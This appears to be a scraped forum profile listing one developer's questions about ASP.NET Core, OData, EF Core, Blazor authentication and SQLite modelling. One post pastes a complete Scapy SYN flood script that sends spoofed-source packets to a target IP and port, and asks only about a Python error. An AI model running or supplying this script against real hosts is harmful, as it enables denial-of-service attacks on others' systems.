I want to expand it for records are not null.
Alex Wright 2022
Posts
-
Nullable foreign key causes runtime error in OData service -
Nullable foreign key causes runtime error in OData serviceI have used OData in my asp.net core project. I have problem with nullable foreign keys. When I want to use expand in url query, there is an exception that says:
System.InvalidOperationException: Nullable object must have a value.
I have provided a simple reproducible project in GitHub GitHub - codeblock88/temp: This repository is used for debugging.[^]repository. Please help me to solve this problem.
-
"Context.UserIdentifier" of SignalR is always null when I use CustomAuthenticationStateProvider in Blazor Server AppI'm working on Blazor server App project. I have the following codes for CustomAuthenticationStateProvider: CustomAuthenticationStateProvider.cs
public class CustomAuthenticationStateProvider : AuthenticationStateProvider
{
private readonly ProtectedSessionStorage _sessionStorage;
private ClaimsPrincipal _anonymous = new ClaimsPrincipal(new ClaimsIdentity());
public CustomAuthenticationStateProvider(ProtectedSessionStorage sessionStorage)
{
_sessionStorage = sessionStorage;
}public override async Task GetAuthenticationStateAsync() { try { var userSessionStorageResult = await \_sessionStorage.GetAsync("UserSession"); var userSession = userSessionStorageResult.Success ? userSessionStorageResult.Value : null; if (userSession == null) { return await Task.FromResult(new AuthenticationState(\_anonymous)); } var claimsPrincipal = new ClaimsPrincipal(new ClaimsIdentity(new List { new Claim(ClaimTypes.Name, userSession.Username), new Claim(ClaimTypes.Role, userSession.UserRole), new Claim(ClaimTypes.NameIdentifier, userSession.UserId.ToString()) }, "Jwt")); return await Task.FromResult(new AuthenticationState(claimsPrincipal)); } catch (Exception) { return await Task.FromResult(new AuthenticationState(\_anonymous)); } } public async Task UpdateAuthenticationState(UserSession userSession) { ClaimsPrincipal claimsPrincipal; if (userSession != null) { await \_sessionStorage.SetAsync("UserSession", userSession); await \_sessionStorage.SetAsync("Token", userSession.TokenText); claimsPrincipal = new ClaimsPrincipal(new ClaimsIdentity(new List { new Claim(ClaimTypes.Name, userSession.Username), new Claim(ClaimTypes.Role, userSession.UserRole), new Claim(ClaimTypes.NameIdentifier, userSession.UserId.ToString()) })); } else { await \_sessionStorage.DeleteAsync("UserSession"); claimsPrincipal = \_anonymous;
-
Python SYN flood testI tried to use the following code from github and test SYN flood:
from scapy.all import *
import os
import sys
import randomdef randomIP():
ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
return ipdef randInt():
x = random.randint(1000,9000)
return xdef SYN_Flood(dstIP,dstPort,counter):
total = 0
print("Packets are sending ...")
for x in range (0,counter):
s_port = randInt()
s_eq = randInt()
w_indow = randInt()IP\_Packet = IP () IP\_Packet.src = randomIP() IP\_Packet.dst = dstIP TCP\_Packet = TCP () TCP\_Packet.sport = s\_port TCP\_Packet.dport = dstPort TCP\_Packet.flags = "S" TCP\_Packet.seq = s\_eq TCP\_Packet.window = w\_indow send(IP\_Packet/TCP\_Packet, verbose=0) total+=1 sys.stdout.write("\\nTotal packets sent: %i\\n" % total)
def info():
os.system("clear")dstIP = raw\_input ("\\nTarget IP : ") dstPort = input ("Target Port : ") return dstIP,int(dstPort)
def main():
dstIP,dstPort = info()
counter = input ("How many packets do you want to send : ")
SYN_Flood(dstIP,dstPort,int(counter))main()
when I run the code, the following error is shown:
Quote:
WARNING: No libpcap provider available ! pcap won't be used 'clear' is not recognized as an internal or external command, operable program or batch file. Traceback (most recent call last): File "C:\Users\Admin\Desktop\Python Project\test.py", line 52, in main() File "C:\Users\Admin\Desktop\Python Project\test.py", line 48, in main dstIP,dstPort = info() ^^^^^^ File "C:\Users\Admin\Desktop\Python Project\test.py", line 41, in info dstIP = raw_input ("\nTarget IP : ") ^^^^^^^^^ NameError: name 'raw_input' is not defined
I'm running this code on windows 11. Why is this error shown?
-
Is it possible to use OData in local mode?I know that in OData, we need to provide an API that gets OData queries as url string. Considering I'm working on Blazor Server App, can I use OData without providing an another API app on the server?
-
How to enable nested json result in OData (ASP.NET Core API)Thanks. Solved.
-
How to enable nested json result in OData (ASP.NET Core API)I'm using the following controller to get data from database using EF Core:
public class EquipmentsController : ODataController
{
private readonly SqlServerContext _sqlServerContext;public EquipmentsController(SqlServerContext sqlServerContext) { \_sqlServerContext = sqlServerContext; } \[HttpGet\] \[EnableQuery\] public ActionResult\> Get() { IQueryable eqList = \_sqlServerContext.Equipments.AsQueryable() .Include(x => x.CostCenter) .Include(x => x.EquipmentCategory) .Include(x => x.equipmentType); return Ok(eqList); } }
My problem is that I cannot get nested result in the final json while I have included CostCenter, EquipmentCategory, and equipmentType entities. I'm using ASP.NET Core 6 API and OData 8.0.12 My ED model is as follows:
static IEdmModel GetEdmModel()
{
ODataConventionModelBuilder builder = new();
builder.EntitySet("Equipments");
return builder.GetEdmModel();
}How can I fix that?
-
How to query a table and map all the related tables while using FromSqlRaw in EF Core?I want to write a query for the API to get all desired data as JSON while keeping all related tables in the final result. I have the following model: Equipment.cs
-
How to query a table and map all the related tables using FromSqlRaw() in EF Core?I want to write a query for the API to get all desired data as JSON while keeping all related tables in the final result. I have the following model: Equipment.cs
public class Equipment
{
[Key]
public long EquipmentId { get; set; }
[Required]
public string EquipmentCode { get; set; }
[Required]
public string EquipmentTitle { get; set; }
[Required]
public bool IsActive { get; set; }//Navigation properties \[Required\] public int CostCenterId { get; set; } public CostCenter CostCenter { get; set; } public int? EquipmentCategoryId { get; set; } public EquipmentCategory? EquipmentCategory { get; set; } public int EquipmentTypeId { get; set; } public EquipmentType equipmentType { get; set; }
}
CostCenter.cs
public class CostCenter
{
[Key]
public int CostCenterId { get; set; }
[Required]
[MaxLength(100)]
public string Title { get; set; }
[Required]
public bool IsActive { get; set; } = true;//Navigation properties \[JsonIgnore\] public virtual List? Equipments { get; set; }
}
EquipmentCategory.cs
public class EquipmentCategory
{
[Key]
public int EquipmentCategoryId { get; set; }
[Required]
[MaxLength(100)]
public string CategoryCode { get; set; }
[Required]
[MaxLength(100)]
public string CategoryName { get; set; }//Navigation property \[JsonIgnore\] public virtual List? Equipments { get; set; }
}
EquipmentType.cs
public class EquipmentType
{
[Key]
public int EquipmentTypeId { get; set; }
[Required]
[MaxLength(100)]
public string EquipmentTypeTitle { get; set; }//Navigation property \[JsonIgnore\] public virtual List? Equipments { get; set; }
}
I use the following codes in the controller:
var query = "SELECT * FROM Equipments WHERE EquipmentCode LIKE '1101%'"
var result = _sqlServerContext.Equipments.FromSqlRaw(query);
return Ok(result);
-
Can sending a large number of requests to the server cause any performance issues on the server?I have created a web API. If someone tried to loop through thousands of requests to the server (Programmatically), would it lower the performance of the web API?
-
How to create a many-to-many relationship between users in a table?I meant how I can create a UserSubUser table. I need a C# model to create this table (Code-First approach). UserIDs in the UserSubUser table should be linked to the UserModel table.
-
How to create a many-to-many relationship between users in a table?Ok, Considering the final table only includes pairs (removing 19), how can I do joining using C# and EF Core?
-
How to create a many-to-many relationship between users in a table?I'm working on an ASP.NET Core web API and SQLite database. I have created a table for users of my application. The rule is that each user can send a message to some other users (creating White-List). I use the following model for Users:
public class UserModel
{
[Key]
public int UserID { get; set; }
[Required]
public string Username { get; set; }
[Required]
public string Password { get; set; }
[Required]
public string FirstName { get; set; }
[Required]
public string LastName { get; set; }
[Required]
public string Role { get; set; }//Navigation property public Department Department { get; set; }
}
My desired table is:
User-SubUser table
UserID ReceiverUserID
23 11
42 11
19 -
34 23Note that the IDs mentioned above are the UserIDs from the User table. This table says that users 23 and 42 can send a message to user 11, user 34 can send a message to user 23, and user 19 cannot send message to anyone. How can I make a model for creating such a table?